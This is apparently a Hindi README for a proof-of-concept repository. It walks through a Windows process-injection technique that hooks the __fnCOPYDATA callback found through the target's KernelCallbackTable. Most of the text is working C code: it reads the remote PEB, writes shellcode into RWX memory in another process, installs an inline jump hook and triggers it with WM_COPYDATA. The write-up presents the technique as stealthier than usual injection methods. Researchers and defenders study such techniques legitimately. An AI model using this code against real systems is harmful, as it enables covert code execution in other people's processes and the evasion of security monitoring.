
मनमाना कोड निष्पादन के लिए win32k.sys कर्नेल कॉलबैक तंत्र का दुरुपयोग
यह रिपॉजिटरी केवल शैक्षिक और रक्षात्मक अनुसंधान उद्देश्यों के लिए प्रदान की गई है।
यह विंडोज़ के आंतरिक कॉलबैक डिस्पैच तंत्र और KernelCallbackTable-संबंधित नियंत्रण-प्रवाह अवधारणाओं को प्रूफ-ऑफ-कॉन्सेप्ट संदर्भ में प्रदर्शित करती है।
लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।
यह इंजेक्शन तकनीक विंडोज़ ग्राफ़िकल सबसिस्टम (win32k.sys) द्वारा उपयोग किए जाने वाले कर्नल-से-यूज़र कॉलबैक डिस्पैच पथ का दुरुपयोग करके रिमोट प्रोसेस के अंदर कोड निष्पादन प्राप्त करती है। KernelCallbackTableलक्ष्य प्रोसेस केप्रोसेस एनवायरनमेंट ब्लॉक (PEB)` के माध्यम से पता लगाकर, एक ऑपरेटर कॉलबैक प्रविष्टियों की गणना कर सकता है और GUI-संबंधित कर्नल संक्रमणों के दौरान आहूत वैध यूज़र-मोड रूटीन की पहचान कर सकता है।
पारंपरिक KernelCallbackTable Injection करने के बजाय, जहाँ एक कॉलबैक प्रविष्टि को सीधे shellcode पते के साथ अधिलेखित कर दिया जाता है, यह विविधता तालिका द्वारा संदर्भित वैध कॉलबैक लक्ष्य को हुक करती है और आह्वान पर निष्पादन को हमलावर-नियंत्रित shellcode की ओर पुनर्निर्देशित करती है। चूँकि निष्पादन को एक मौजूदा और अपेक्षित कॉलबैक पथ के माध्यम से अपहरण किया जाता है, यह तकनीक रिमोट थ्रेड निर्माण या APC-आधारित इंजेक्शन जैसी अधिक पारंपरिक प्रिमिटिव की तुलना में एक अधिक गुप्त विकल्प प्रदान कर सकती है।
विंडोज़ ग्राफ़िकल सबसिस्टम GUI-संबंधित प्रोसेसिंग के कुछ हिस्सों को कर्नल मोड से प्रारंभ किए गए कॉलबैक तंत्र के माध्यम से यूज़र मोड को सौंपता है। जब win32k.sys को किसी GUI प्रोसेस के संदर्भ में लॉजिक निष्पादित करने की आवश्यकता होती है, तो यह KeUserModeCallback को आह्वान करता है ताकि दोनों निष्पादन संदर्भों के बीच अलगाव सीमा को बनाए रखते हुए कर्नल मोड से यूज़र मोड में एक नियंत्रित संक्रमण किया जा सके।
यह संक्रमण उस वैध निष्पादन पथ को स्थापित करता है जिसके माध्यम से कर्नल ग्राफ़िकल सबसिस्टम कॉलबैक को यूज़र मोड में डिस्पैच करता है—वही पथ जिसका बाद में प्रस्तुत तकनीक द्वारा दुरुपयोग किया जाता है।
एक बार संक्रमण पूरा हो जाने पर, निष्पादन KiUserCallbackDispatcher में प्रवेश करता है, जो एक ntdll.dll रूटीन है जो कर्नल द्वारा आपूर्ति किए गए कॉलबैक इंडेक्स को प्राप्त करने और संबंधित यूज़र-मोड कॉलबैक हैंडलर को निष्पादन डिस्पैच करने के लिए ज़िम्मेदार है। यह रूटीन KeUserModeCallback के माध्यम से प्रारंभ किए गए सभी कॉलबैक के लिए अनिवार्य प्रवेश बिंदु के रूप में कार्य करता है।
चूँकि सभी कॉलबैक रिज़ॉल्यूशन इस डिस्पैचर पर केंद्रित होते हैं, KiUserCallbackDispatcher कर्नल कॉलबैक अनुरोधों और उनके अंतिम यूज़र-मोड निष्पादन के बीच केंद्रीय केंद्रबिंदु के रूप में कार्य करता है।
किसी अनुरोधित कॉलबैक के गंतव्य को हल करने के लिए, KiUserCallbackDispatcher लक्ष्य प्रोसेस के PEB में संग्रहीत KernelCallbackTable से परामर्श करता है। प्रत्येक तालिका प्रविष्टि में एक विशिष्ट ग्राफ़िकल सबसिस्टम ऑपरेशन से जुड़े यूज़र-मोड कॉलबैक रूटीन का पॉइंटर होता है, जिसे आमतौर पर user32.dll में लागू किया जाता है।
पारंपरिक KernelCallbackTable Injection तकनीकें निष्पादन को पुनर्निर्देशित करने के लिए इनमें से एक या अधिक प्रविष्टियों को सीधे अधिलेखित करती हैं। प्रभावी होते हुए भी, तालिका को स्वयं संशोधित करने से संरचनात्मक विसंगतियाँ उत्पन्न होती हैं जिन्हें PEB या कॉलबैक तालिका सामग्री की अखंडता सत्यापन के माध्यम से आसानी से पहचाना जा सकता है। प्रस्तुत तकनीक तालिका संरचना को संरक्षित करके और इसके बजाय प्रविष्टि द्वारा संदर्भित कॉलबैक लक्ष्य को डिटोर करके इससे बचती है।
उपलब्ध KernelCallbackTable प्रविष्टियों में से, __fnCOPYDATA एक विशेष रूप से सुविधाजनक ट्रिगर प्रिमिटिव प्रदान करता है क्योंकि इसे SendMessage() के माध्यम से WM_COPYDATA संदेश भेजकर बाह्य रूप से आह्वान किया जा सकता है। यह कॉलबैक को असामान्य प्रोसेस स्थिति या जटिल इंटरैक्शन की आवश्यकता के बिना नियतात्मक रूप से ट्रिगर करने की अनुमति देता है।
एक स्वाभाविक रूप से सुलभ और अक्सर उपयोग किए जाने वाले कॉलबैक लक्ष्य का लाभ उठाकर, यह तकनीक पुनर्निर्देशन से पहले पूरी तरह से अपेक्षित कॉलबैक डिस्पैच श्रृंखला के भीतर रहते हुए एक विश्वसनीय निष्पादन प्रिमिटिव प्राप्त करती है।

यह तकनीक लक्ष्य प्रोसेस का पता लगाने और उसके PEB को पढ़ने से शुरू होती है ताकि KernelCallbackTable का पता प्राप्त किया जा सके, जिससे __fnCOPYDATA के लिए कॉलबैक पॉइंटर हल किया जाता है। फिर रिमोट प्रोसेस के भीतर निष्पादन योग्य मेमोरी आवंटित की जाती है, और हमलावर-नियंत्रित shellcode को आवंटित क्षेत्र में लिखा जाता है। संशोधन से पहले, वैध कॉलबैक रूटीन के मूल बाइट्स को बाद में पुनर्स्थापना सक्षम करने के लिए संरक्षित किया जाता है।
इसके बाद हल किए गए __fnCOPYDATA रूटीन की शुरुआत में एक इनलाइन हुक स्थापित किया जाता है, जो इसके प्रोलॉग को इंजेक्ट किए गए shellcode के लिए एक निरपेक्ष कूद से बदल देता है। निष्पादन ट्रिगर करने के लिए, लक्ष्य विंडो में एक WM_COPYDATA संदेश भेजा जाता है, जिससे विंडोज़ ग्राफ़िकल सबसिस्टम मानक कर्नल-से-यूज़र कॉलबैक श्रृंखला के माध्यम से __fnCOPYDATA को डिस्पैच करता है। निष्पादन पूरा होने के बाद, प्रोसेस स्थिरता बनाए रखने और अवशिष्ट संशोधन कलाकृतियों को कम करने के लिए मूल कॉलबैक बाइट्स को पुनर्स्थापित किया जाता है।
KernelCallbackTable PEB के भीतर ऑफ़सेट 0x58 पर स्थित है:

इसे प्राप्त करने के लिए निम्नलिखित लॉजिक का उपयोग किया जाता है:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
कोड NtQueryInformationProcess को ProcessBasicInformation सूचना वर्ग के साथ कॉल करके शुरू होता है ताकि एक PROCESS_BASIC_INFORMATION संरचना भरी जा सके, जो PebBaseAddress फ़ील्ड के माध्यम से रिमोट प्रोसेस का PEB पता उजागर करती है।
इसके बाद, NtReadVirtualMemory का उपयोग रिमोट PEB को स्थानीय PEB संरचना में पढ़ने के लिए किया जाता है, जिससे प्रोसेस एनवायरनमेंट में संग्रहीत KernelCallbackTable पॉइंटर निकाला जा सकता है। कॉलबैक तालिका की उपस्थिति को सत्यापित करने के बाद, एक दूसरा NtReadVirtualMemory कॉल रिमोट KERNELCALLBACKTABLE संरचना को स्थानीय मेमोरी में कॉपी करता है, जिससे बाद के डिटोरिंग के लिए __fnCOPYDATA जैसे कॉलबैक लक्ष्यों का सीधा रिज़ॉल्यूशन संभव हो जाता है।

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory रिमोट प्रोसेस के अंदर निष्पादन योग्य मेमोरी आरक्षित करता है और remoteShellcodeAddr के माध्यम से उसका बेस पता लौटाता है। आवंटन आकार shellcode बफर की लंबाई से प्राप्त होता है।
NtWriteVirtualMemory फिर shellcode को आवंटित क्षेत्र में कॉपी करता है, पेलोड को कॉलबैक डिटोर के माध्यम से बाद में निष्पादन के लिए लक्ष्य प्रोसेस में तैयार करता है।
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote मूल फ़ंक्शन और डिटोर पतों को INLINEHOOKTABLE संरचना के अंदर संग्रहीत करके रिमोट कॉलबैक लक्ष्य को डिटोरिंग के लिए तैयार करता है। यह NtReadVirtualMemory के साथ लक्ष्य रूटीन के पहले बाइट्स को पढ़कर मूल कॉलबैक प्रोलॉग को संरक्षित करता है, फिर NtProtectVirtualMemory का उपयोग करके उस क्षेत्र की सुरक्षा को PAGE_EXECUTE_READWRITE में बदल देता है ताकि इसे सुरक्षित रूप से पैच किया जा सके।
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote एक निरपेक्ष x64 जंप स्टब (mov r10, <detour>; jmp r10) बनाता है जो निष्पादन को इंजेक्ट किए गए shellcode की ओर पुनर्निर्देशित करता है। फिर जंप स्टब को NtWriteVirtualMemory के माध्यम से लक्ष्य कॉलबैक रूटीन की शुरुआत पर लिखा जाता है, जिससे इनलाइन हुक प्रभावी रूप से स्थापित हो जाता है।
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote INLINEHOOKTABLE संरचना में संग्रहीत संरक्षित प्रोलॉग बाइट्स को वापस लिखकर मूल कॉलबैक रूटीन को पुनर्स्थापित करता है। फिर यह NtProtectVirtualMemory का उपयोग करके पैच किए गए क्षेत्र के मूल मेमोरी सुरक्षा गुणों को फिर से लागू करता है, इनलाइन हुक को हटाता है और कॉलबैक लक्ष्य को उसकी प्रारंभिक स्थिति में लौटाता है।
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
निष्पादन ट्रिगर करने के लिए, SendMessageW के माध्यम से लक्ष्य विंडो में एक WM_COPYDATA संदेश भेजा जाता है, जो विंडोज़ कॉलबैक डिस्पैचर को सामान्य कर्नल-से-यूज़र कॉलबैक पथ के माध्यम से हुक किए गए __fnCOPYDATA रूटीन को आह्वान करने के लिए बाध्य करता है। निष्पादन पूरा होने के बाद, RemoveHookRemote प्रोसेस स्थिरता बनाए रखने के लिए मूल कॉलबैक बाइट्स को पुनर्स्थापित करता है।
एक बार लॉजिक लागू हो जाने पर, प्रूफ ऑफ कॉन्सेप्ट को निष्पादित करके निम्नलिखित परिणाम उत्पन्न किया जा सकता है:
